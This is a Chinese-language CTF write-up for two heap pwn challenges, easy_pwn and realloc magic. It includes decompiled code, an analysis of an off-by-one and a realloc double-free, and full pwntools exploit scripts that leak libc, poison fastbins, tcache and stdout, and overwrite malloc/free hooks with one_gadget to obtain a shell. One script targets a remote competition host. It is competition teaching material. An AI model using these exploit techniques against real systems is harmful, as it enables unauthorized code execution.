嘶吼 CTF 2019 PWN 题解
easy_pwn
题目信息
nevv@ubuntu:~/Desktop$ ./easy_pwn.dms
Note system
1. create a note
2. write note
3. drop the note
4. show the note
5. exit
choice:
nevv@ubuntu:~/Desktop$ checksec easy_pwn.dms
[*] '/home/nevv/Desktop/easy_pwn.dms'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
main
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__int64 v3; // rdi
unsigned int v5; // [rsp+4h] [rbp-Ch]
__int64 savedregs; // [rsp+10h] [rbp+0h]
sub_AD0(a1, a2, a3);
while ( 1 )
{
print_menu();
v3 = v5;
v5 = get_choice(v5);
switch ( (unsigned int)&savedregs )
{
case 1u:
create(v3);
break;
case 2u:
puts("Tell me the secret about you!!");
writeNote();
break;
case 3u:
deleteNote();
break;
case 4u:
showNote(v3);
break;
case 5u:
return 0LL;
default:
puts("Wrong try again!!");
break;
}
}
}
create
__int64 create()
{
__int64 result; // rax
int v1; // ST0C_4
unsigned int i; // [rsp+4h] [rbp-1Ch]
int v3; // [rsp+8h] [rbp-18h]
signed int v4; // [rsp+8h] [rbp-18h]
void *v5; // [rsp+10h] [rbp-10h]
result = 0LL;
for ( i = 0; (signed int)i <= 15; ++i )
{
result = *((unsigned int *)&unk_202040 + 4 * (signed int)i);
if ( !(_DWORD)result )
{
printf("size: ");
v4 = get_choice(v3);
if ( v4 > 0 )
{
if ( v4 > 4096 )
v4 = 4096;
v5 = calloc(v4, 1uLL);
if ( !v5 )
exit(-1);
*((_DWORD *)&unk_202040 + 4 * (signed int)i) = 1;
*((_DWORD *)&unk_202044 + 4 * (signed int)i) = v4;
qword_202048[2 * (signed int)i] = v5;
v1 = qword_202048[2 * (signed int)i] & 0xFFF;
printf("the index of ticket is %d \n", i);
}
return i;
}
}
return result;
}
- 最多16个note
- 大小最大为4096
- 使用calloc分配内存
- unk_202040存储记录是否正在使用的flag,unk_202044记录大小
- qword_202048数组中保存content地址
writeNote
__int64 writeNote()
{
int v1; // [rsp+Ch] [rbp-14h]
signed int v2; // [rsp+Ch] [rbp-14h]
signed int v3; // [rsp+10h] [rbp-10h]
int v4; // [rsp+14h] [rbp-Ch]
printf("index: ");
v2 = get_choice(v1);
v3 = v2;
if ( v2 >= 0 && v2 <= 15 )
{
v2 = *((_DWORD *)&unk_202040 + 4 * v2);
if ( v2 == 1 )
{
printf("size: ");
v2 = get_choice(1);
v4 = modify_size(*((_DWORD *)&unk_202044 + 4 * v3), v2);
if ( v2 > 0 )
{
printf("content: ", (unsigned int)v2);
v2 = writecontent(qword_202048[2 * v3], v4);
}
}
}
return (unsigned int)v2;
}
这里 modifyize 函数会调整修改的大小,造成单字节溢出:
__int64 __fastcall modify_size(signed int a1, unsigned int a2)
{
__int64 result; // rax
if ( a1 > (signed int)a2 )
return a2;
if ( a2 - a1 == 10 )
LODWORD(result) = a1 + 1;
else
LODWORD(result) = a1;
return (unsigned int)result;
}
deleteNote
__int64 deleteNote()
{
int v0; // eax
int v2; // [rsp+Ch] [rbp-14h]
int v3; // [rsp+10h] [rbp-10h]
__int64 v4; // [rsp+10h] [rbp-10h]
printf("index: ");
v0 = get_choice(v3);
v4 = v0;
v2 = v0;
if ( v0 >= 0LL && v0 <= 15LL )
{
v4 = *((signed int *)&unk_202040 + 4 * v0);
if ( v4 == 1 )
{
*((_DWORD *)&unk_202040 + 4 * v0) = 0;
*((_DWORD *)&unk_202044 + 4 * v0) = 0;
free((void *)qword_202048[2 * v0]);
qword_202048[2 * v2] = 0LL;
}
}
return v4;
}
showNote
__int64 showNote()
{
int v1; // [rsp+0h] [rbp-10h]
__int64 v2; // [rsp+0h] [rbp-10h]
printf("index: ");
LODWORD(v2) = get_choice(v1);
HIDWORD(v2) = v2;
if ( (signed int)v2 >= 0 && (signed int)v2 <= 15 )
{
LODWORD(v2) = *((_DWORD *)&unk_202040 + 4 * (signed int)v2);
if ( (_DWORD)v2 == 1 )
{
printf("content: ", v2);
LODWORD(v2) = sub_108E(qword_202048[2 * SHIDWORD(v2)], *((unsigned int *)&unk_202044 + 4 * SHIDWORD(v2)));
}
}
return (unsigned int)v2;
}
漏洞分析
写content内容的时候存在off by one
和0ctf Babyheap 2018类似,但是更简单了
EXP
# coding:utf-8
from pwn import *
elf = ELF("./easy_pwn.dms")
# p = process("./easy_pwn.dms")
context.log_level = "info"
p = remote("39.97.182.233",49298)
def alloc(size):
p.recvuntil("choice: ")
p.sendline("1")
p.recvuntil("size: ")
p.sendline(str(size))
def free(index):
p.recvuntil("choice: ")
p.sendline("3")
p.recvuntil("index: ")
p.sendline(str(index))
def update(index, size, content):
p.recvuntil("choice: ")
p.sendline("2")
p.recvuntil("index: ")
p.sendline(str(index))
p.recvuntil("size: ")
p.sendline(str(size))
p.recvuntil("content: ")
p.sendline(content)
def show(index):
p.recvuntil("choice: ")
p.sendline("4")
p.recvuntil("index: ")
p.sendline(str(index))
libc_offset = 0x3c4b78
one_offset = 0x4526a
##### leak_address #####
alloc(0x58) #0
alloc(0x60) #1
alloc(0x60) #2
alloc(0x60) #3
alloc(0x60) #4
update(0, 0x58 + 10, "A"*0x58 + "\xe1") # modify #1 size
free(1) #1 # to unsortedbin
alloc(0x60) #1 # malloc from fake #1
show(2) # in unsorted bin --> store main_arena
p.recvuntil("content: ")
leak = u64(p.recv(6).ljust(8,'\x00'))
libc_base = leak - libc_offset
alloc(0x60) # 5 <==> 2
main_arena = leak - 0x58
print("libc_base =====> %s" % hex(libc_base))
print("main_arena =====> %s" % hex(main_arena))
"""
pwndbg> x /30gx 0x202048+0x55a10cb37000
0x55a10cd39048: 0x000055a10d797010 0x0000006000000001
0x55a10cd39058: 0x000055a10d797070 0x0000005000000001
0x55a10cd39068: 0x000055a10d7970e0 0x0000006000000001
0x55a10cd39078: 0x000055a10d797140 0x0000006000000001
0x55a10cd39088: 0x000055a10d7971b0 0x0000005000000001
0x55a10cd39098: 0x000055a10d7970e0 0x0000000000000000
"""
libc_realloc = libc_base + 0x846c0
fake_chunk = libc_base + 0x3c4aed
free(2)
update(5,0x8,p64(main_arena-0x33))
alloc(0x60) # 2
alloc(0x60) # 6
one = libc_base + one_offset
pay = '\x00'*11 + p64(one) + p64(libc_realloc+2)
update(6,len(pay),pay)
alloc(0x100) # 2
p.interactive()
题目链接:https://github.com/hebtuerror404/CTF_competition_warehouse_2019/tree/master/2019_RoarCTF/PWN
realloc magic
题目信息
main
// local variable allocation has failed, the output may be wrong!
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
init(*(_QWORD *)&argc, argv, envp);
while ( 1 )
{
menu();
v3 = get_int();
switch ( v3 )
{
case 2:
fr();
break;
case 666:
ba();
break;
case 1:
re();
break;
default:
puts("invalid choice");
break;
}
}
}
666 ba 函数
int ba()
{
if ( lock )
exit(-1);
lock = 1;
realloc_ptr = 0LL;
return puts("Done");
}
free函数
int fr()
{
free(realloc_ptr);
return puts("Done");
}
- free后没有置为NULL
realloc函数
int re()
{
unsigned int size; // ST0C_4
puts("Size?");
size = get_int();
realloc_ptr = realloc(realloc_ptr, size);
puts("Content?");
read(0, realloc_ptr, size);
return puts("Done");
}
漏洞分析
存在 double free , 观察 realloc 源码可知当传入的chunk不为空,且size为0的情况下,会free掉原chunk并且返回0。
if (bytes == 0 && oldmem != NULL)
{
__libc_free (oldmem); return 0;
}
tcachebin中的链表指针指向的下一个chunk的
fd
字段泄漏libc,使用stdout
因此需要控制stdout结构体满足以下条件实现任意泄露:
_IO_write_base指向想要泄露的地方。
_IO_write_ptr指向泄露结束的地址。
_IO_read_end等于_IO_write_base以绕过多余的代码。
满足这三个条件,可实现任意读。
大体的利用方法就是利用unsorted bin
的在tcache
或fastbin
的fd上踩出main_arena
的地址,然后部分覆盖修改main_arena
的地址实现对stdout的地址
进行爆破,从而劫持stdout
以达到泄露的目的 。
对于没有tcache的 glibc 版本,我们可以使用 fastbin attack
就好,因为_IO_2_1_stdout_
上面就是_IO_2_1_stderr_
, stderr->__pad2
一般是指向_IO_wide_data_2
的指针,而_IO_wide_data_2
是在libc中的,所以我们可以用其来伪造size。
EXP
- 流程大概如下:
- 首先利用double free,构造出同时在tcache中和unsortbin中的chunk
- 然后利用realloc的特性,使得地址在unsortbin chunk的chunk和unsortbin合并
- 这样就可以修改unsortbin中的low bit 使其指向stdout
- 分配到stdout并修改
_IO_2_1_stdout_
结构,泄漏libcbase地址 - 再次利用double free,修改tcache中的fd字段指向freehook,由于tcache在分配的时候不对size字段进行检查,因此下次再分配的时候分配到freehook处,使用one_shot即可
#coding:utf-8
from pwn import *
binary = './pwn.dms'
io = None
sa = lambda x,y : io.sendafter(x,y)
sl = lambda x : io.sendline(x)
sd = lambda x : io.send(x)
sla = lambda x,y : io.sendlineafter(x,y)
rud = lambda x : io.recvuntil(x,drop=True)
ru = lambda x : io.recvuntil(x,timeout = 0.2)
def lg(s, addr):
print('\033[1;31;40m%30s-->0x%x\033[0m' % (s, addr))
# env = {"LD_PRELOAD": os.path.join(os.getcwd(), "libc.so.6")}
env = {}
io = process(binary, env=env)
elf = ELF(binary)
proc_base = io.libs()[os.path.abspath(os.path.join(os.getcwd(), binary))]
# libc_bb = io.libs()['/lib/x86_64-linux-gnu/libc.so.6']
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc_base,__malloc_hook,system = None,None,None
def magic(offset):
global libc_base,__malloc_hook,system,__free_hook
leak = u64(ru("\x7f")[-6:].ljust(8,'\x00'))
lg('leak',leak)
libc_base = leak - offset
lg('base',libc_base)
__malloc_hook = libc_base + libc.symbols['__malloc_hook']
__free_hook = libc_base + libc.symbols['__free_hook']
system = libc_base + libc.symbols['system']
def debug(msg=""):
pwnlib.gdb.attach(io,msg)
def add(sz,con):
sla(">>","1")
io.sendlineafter("Size?",str(sz))
sa("?",con)
def free():
sla(">>","2")
def magic_():
sla(">>","666")
def exploit():
add(0x70,'a')
add(0x0,'')
add(0x100,'a')
add(0x0,'')
add(0xe0,'a')
add(0x0,'')
add(0x100,'a')
[free() for i in range(7)] # tcache 0x110[7]
add(0x0,'') # main_arena 0x110
# debug()
"""
pwndbg> bins
tcachebins
0x80 [ 1]: 0x5635423da260 ◂— 0x0
0xf0 [ 1]: 0x5635423da3f0 ◂— 0x0
0x110 [ 7]: 0x5635423da2e0 —▸ 0x7fc3d952eca0 (main_arena+96) —▸ 0x5635423da4d0 ◂— 0x0
unsortedbin
all: 0x5635423da2d0 —▸ 0x7fc3d952eca0 (main_arena+96) ◂— 0x5635423da2d0
smallbins
"""
add(0x70,'a') # malloc 0x5635423da260
# debug()
add(0x180,chr(0) * 0x78 + p64(0x41) + '\x60\x57')
# 1.realloc heap_260 and merge unsortedbin
# 2.modift 0x5635423da2e0 chunk size to 0x41
# 3.modify the low bits because the main_arena and (_IO_2_1_stdout_) is adjacent.
"""
0xf0 [ 1]: 0x56404f2a83f0 ◂— 0x0
0x110 [ 7]: 0x56404f2a82e0 —▸ 0x7fc1145c5760 (_IO_2_1_stdout_) ◂— 0xfbad2887
fastbins
"""
add(0x0,'') # free to tacache 0x190
add(0x100,'a') # malloc tacache 0x110[0]
"""
tcachebins
0xf0 [ 1]: 0x560d6b96b3f0 ◂— 0x0
0x110 [ 6]: 0x7fd6e9015760 (unsafe_state+32) ◂— 0x3
0x190 [ 1]: 0x560d6b96b260 ◂— 0x0
"""
add(0x0,'') # free to tcache 0x40
"""
tcachebins
0x40 [ 1]: 0x558b354b42e0 ◂— 0x0
0xf0 [ 1]: 0x558b354b43f0 ◂— 0x0
0x110 [ 6]: 0x7f5c3e755760 (sys_errlist+512) —▸ 0x7f5c3e520551 ◂— 'Machine is not on the network'
0x190 [ 1]: 0x558b354b4260 ◂— 0x0
"""
add(0x100,p64(0xfbad1887) + p64(0) *3 + "\x00") # leak
magic(0x3ed8b0) # get libc_base
magic_() # ptr->null
"""
tcachebins
0x40 [ 1]: 0x560f2b2d02e0 ◂— 0x0
0xf0 [ 1]: 0x560f2b2d03f0 ◂— 0x0
0x110 [ 5]: 0xfbad2887
0x190 [ 1]: 0x560f2b2d0260 ◂— 0x0
"""
add(0x70,'a')
add(0x0,'')
add(0x110,'a')
add(0x0,'')
add(0xf0,'a')
add(0x0,'')
add(0x110,'a')
# debug()
"""
tcachebins
0x40 [ 1]: 0x55ca6898b2e0 ◂— 0x0
0x80 [ 1]: 0x55ca6898b4e0 ◂— 0x0
0xf0 [ 1]: 0x55ca6898b3f0 ◂— 0x0
0x100 [ 1]: 0x55ca6898b680 ◂— 0x0
0x110 [ 5]: 0xfbad2887
0x190 [ 1]: 0x55ca6898b260 ◂— 0x0
"""
[free() for i in range(7)]
add(0x0,'')
add(0x70,'a')
"""
tcachebins
0x40 [ 1]: 0x555a5832b2e0 ◂— 0x0
0xf0 [ 1]: 0x555a5832b3f0 ◂— 0x0
0x100 [ 1]: 0x555a5832b680 ◂— 0x0
0x110 [ 5]: 0xfbad2887
0x120 [ 7]: 0x555a5832b560 —▸ 0x7fc76a974ca0 (main_arena+96) —▸ 0x555a5832b770 ◂— 0x0
0x190 [ 1]: 0x555a5832b260 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x555a5832b550 —▸ 0x7fc76a974ca0 (main_arena+96) ◂— 0x555a5832b550
"""
add(0x190,chr(0) * 0x78 + p64(0x41) + p64(libc_base + 0x3ed8e8))
# merge heap_4e0@size_0x80 and unsortbin heap_550@size_120
# so tcache 0x120 [ 7] 0x555a5832b560 -> free_hook
debug()
"""
pwndbg> x /40gx 0x564d5eca24e0
0x564d5eca24e0: 0x0000000000000000 0x0000000000000000
0x564d5eca24f0: 0x0000000000000000 0x0000000000000000
0x564d5eca2500: 0x0000000000000000 0x0000000000000000
0x564d5eca2510: 0x0000000000000000 0x0000000000000000
0x564d5eca2520: 0x0000000000000000 0x0000000000000000
0x564d5eca2530: 0x0000000000000000 0x0000000000000000
0x564d5eca2540: 0x0000000000000000 0x0000000000000000
0x564d5eca2550: 0x0000000000000000 0x0000000000000041
0x564d5eca2560: 0x00007fa55fbf68e8 0x00007fa55fbf4ca0
0x564d5eca2570: 0x0000000000000000 0x0000000000000000
"""
add(0x0,'')
add(0x110,'a') # malloc tcache 0x120 0x555a5832b560
add(0x0,'')
lg('__free_hook',__free_hook)
one_gg = libc_base + 0x4f322
add(0x110,p64(one_gg)) # leak
# There is no security check in
sl("2")
success(" get shell ")
# debug()
io.interactive()
if __name__ == "__main__":
while(True):
io = process(binary, env=env)
try:
exploit()
io.close()
except Exception as e:
continue
"""
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
"""
参考链接:
https://bbs.pediy.com/thread-255095.htm
https://www.anquanke.com/post/id/188785#h3-4
https://www.secpulse.com/archives/111304.html